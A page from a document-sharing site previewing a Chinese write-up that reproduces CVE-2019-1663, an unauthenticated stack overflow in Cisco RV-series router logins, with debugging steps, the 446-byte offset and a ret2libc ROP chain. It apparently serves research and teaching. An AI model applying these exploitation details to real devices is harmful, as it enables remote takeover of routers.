(CVE-2019-1663)Cisco 堆棧緩沖區(qū)溢出漏洞_第1頁
(CVE-2019-1663)Cisco 堆棧緩沖區(qū)溢出漏洞_第2頁
(CVE-2019-1663)Cisco 堆棧緩沖區(qū)溢出漏洞_第3頁
(CVE-2019-1663)Cisco 堆棧緩沖區(qū)溢出漏洞_第4頁
(CVE-2019-1663)Cisco 堆棧緩沖區(qū)溢出漏洞_第5頁
已閱讀5頁,還剩7頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

(CVE-2019-1663)堆棧緩沖區(qū)溢出漏洞一、漏洞簡介CVE-2019-1663是一個影響Cisco的多個低端設(shè)備的堆棧緩沖區(qū),由于管理界面沒有對登錄表單的pwd字段進行嚴格的過濾,底層在處理請求時,strcpy函數(shù)導致堆棧溢出,未經(jīng)身份驗證的遠程攻擊者可以在設(shè)備上執(zhí)行任意代碼二、漏洞影響CiscoRV110W<CiscoRV130/RV130W<5CiscoRV215W<三、復現(xiàn)過程0x01固件提取這里我使用時CiscoRV130W4進行測試的,binwalk對固件進行提取可以看出文件系統(tǒng)是squashfs,并且是小端存儲方式,得到一個類Linux目錄0x02分析處理請求使用grep-r“http”來查找處理http請求的二進制文件根據(jù)之前分析的多個嵌入式設(shè)備的經(jīng)驗,猜測這個可能就是處理http請求的底層文件0x03漏洞分析對Web登錄界面的login.cgi發(fā)送如下的POST請求POST/login.cgiHTTP/1.1

Host:

User-Agent:Mozilla/5.0(X11;Linuxx86_64;rv:60.0)Gecko/20100101Firefox/60.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:en-US,en;q=0.5

Accept-Encoding:gzip,deflate

Referer:/

Content-Type:application/x-www-form-urlencoded

Content-Length:137

Connection:close

Upgrade-Insecure-Requests:1

submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN這里向pwd發(fā)送32字節(jié)的值,對登錄界面的http處理請求在IDA中的是sub_2C614(),地址是0x0002C614函數(shù)將POST請求的參數(shù)進行解析,存儲到.bss段然后,將pwd參數(shù)的值從.bss段中提取,調(diào)用strcpy將值存到動態(tài)分配的內(nèi)存中對于strcpy我們都很熟悉,它存在的安全問題也十分嚴峻,并且由于沒有開啟PIE/ASLR,所以可以隨意的進行溢出操作這里使用gdb進行遠程調(diào)試,確定能夠發(fā)生溢出的字節(jié)數(shù),首先設(shè)置cisco,作為gdb調(diào)試的服務(wù)端,gdbserver配置#wget:8000/gdbserver//從本機下載到qemu模擬的cisco環(huán)境中

#chmod777./gdbserver//給權(quán)限

#ps-w|grephttpd//查找httpd開啟的進程號

245105472S./usr/sbin/httpd

245401196Sgrephttpd

#./gdbserver:1234--attach2451//這里的1234是開啟監(jiān)聽的端口號,--attach添加的是httpd的進程號

Attached;pid=2451

Listeningonport1234

//然后成功監(jiān)聽編譯arm-gdb-linuxtarxvfgdb-7.8.1.tar.gz

cdgdb-7.8.1

mkdirarm-gdb

sudochmod777arm-gdb

sudoapt-getinstalltexinfo

./configure--target=arm-linux--prefix=/home/clb/1tools/gdb-7.8.1/arm-gdb

make&&makeinstall然后在arm-gdb下的bin目錄中就有用于調(diào)試的arm-linux-gdb,配置調(diào)試選項./arm-linux-gdb

gef>setarchitecturearm//確定要調(diào)試的是arm架構(gòu)

gef>setfollow-fork-modechild//確定調(diào)試的進程

gef>setsolib-search-path/home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/lib///加載要用到的lib文件

gef>file/home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/usr/sbin/httpd//加載調(diào)試文件

gef>targetremote:1234//與遠程建立連接已經(jīng)建立調(diào)試連接,可以進行調(diào)試了查找溢出的位置,使用pattern生成512個字符串gef?pattercreate512

[+]Generatingapatternof512bytes

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf

[+]Savedas'$_gef0'通過curl發(fā)送POST請求查找溢出的位置gef?c

Continuing.

ProgramreceivedsignalSIGSEGV,Segmentationfault.

0x616d6560in??()通過pattern確定溢出的大小gef?patternsearch0x616d6561

[+]Searching'0x616d6561'

[+]Foundatoffset446(little-endiansearch)likely我們可以確定要進行填充的字符串是有446個字節(jié)這里使用Ret2Libc進行利用。ret2libc這種攻擊方式主要是針對動態(tài)鏈接(Dynamiclinking)編譯的程序,因為正常情況下是無法在程序中找到像system()、execve()這種系統(tǒng)級函數(shù)(如果程序中直接包含了這種函數(shù)就可以直接控制返回地址指向他們,而不用通過這種麻煩的方式)。因為程序是動態(tài)鏈接生成的,所以在程序運行時會調(diào)用libc.so(程序被裝載時,動態(tài)鏈接器會將程序所有所需的動態(tài)鏈接庫加載至進程空間,libc.so就是其中最基本的一個),libc.so是linux下C語言庫中的運行庫glibc的動態(tài)鏈接版,并且libc.so中包含了大量的可以利用的函數(shù),包括system()、execve()等系統(tǒng)級函數(shù),我們可以通過找到這些函數(shù)在內(nèi)存中的地址覆蓋掉返回地址來獲得當前進程的控制權(quán)。通常情況下,我們會選擇執(zhí)行system(“/bin/sh”)來打開shell。這里我們使用vmmap查看調(diào)用的lib文件有哪些注:由于是在模擬器中查找的lib文件的起始地址,所以和在真機中的地址可能不太一樣這里我們選擇具有執(zhí)行權(quán)限的libc.so.0文件,使用radare2對libc.so.0文件進行搜索system函數(shù)這里的system函數(shù)的地址是偏移地址,偏移地址加上vmmap得到的起始地址就是,我們通過下斷點得到system函數(shù)的地址,然后通過計算可以發(fā)現(xiàn)地址完全正確這時我們已經(jīng)知道了一些關(guān)鍵的地址,那么這個時候我們就需要構(gòu)造一個ROP鏈,來實現(xiàn)地址的跳轉(zhuǎn)這里使用了一款工具Ropper,因為我們存儲的位置位于堆棧,所以查找跟堆棧有關(guān)的指針SP這里我選擇了0x00041308的指令,因為這里有一個關(guān)于指令跳轉(zhuǎn)的指令BLX,如果r2存的值是system的地址,那么我們就能跳到system處,執(zhí)行系統(tǒng)命令了,并且由于我們的值都存在棧中,所以我們就需要查找和pop,r2有關(guān)的指令在ARM指令集下我們發(fā)現(xiàn)兩個對r2的操作,但是后面還跟著別的指令,如果我們使用了某一個,那么我們還得繼續(xù)尋找能夠完整構(gòu)造payload的指令。由于ARM除了有ARM指令外,還有一個Thumb指令集,這個指令是ARM指令集的一個子集,但是在某些方面比ARM指令集要更有效,我們切換指令集去這里看看符合我們要求的指令這里我們找到了沒有其他指令參與并且堆棧操作十分符合我們要求的指令,下面就是我們構(gòu)造的堆棧的排列方式首先排布的是target1,這條指令就是對棧就行彈出的操作,首先將system的地址彈出到r2,然后后面無用的地址彈出到r6,最后將target2的地址彈出到r15中,并且r15中存儲的還是正在取指的地址。緊接著執(zhí)行r15所指向的地址,首先將sp的地址存儲到r0中,然后執(zhí)行blx跳轉(zhuǎn)指令并且切換指令集,并且跳轉(zhuǎn)到r2的地址,也就是system的地址,那么這時候就成功執(zhí)行system函數(shù),到此整個ROP鏈也就執(zhí)行完畢0x04漏洞復現(xiàn)這里我們利用的是exploit-db上的exp設(shè)置rhosts,lhosts和target,然后直接exploit,就能直接獲得shell權(quán)限,這里我在vps上執(zhí)行的成功執(zhí)行ifconfig命令0x05exp腳本分析這里存儲就是偏移地址,libc_base的地址,system的偏移地址,gadget1的偏移地址,gadget2的偏移地址,這些地址就是真機中真正的偏移地址這里就是根據(jù)不同的target生成不同的payload這里就是我們對Msf生成的payload進行輸出,可以看到被攻擊的設(shè)備下載了可以在A

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論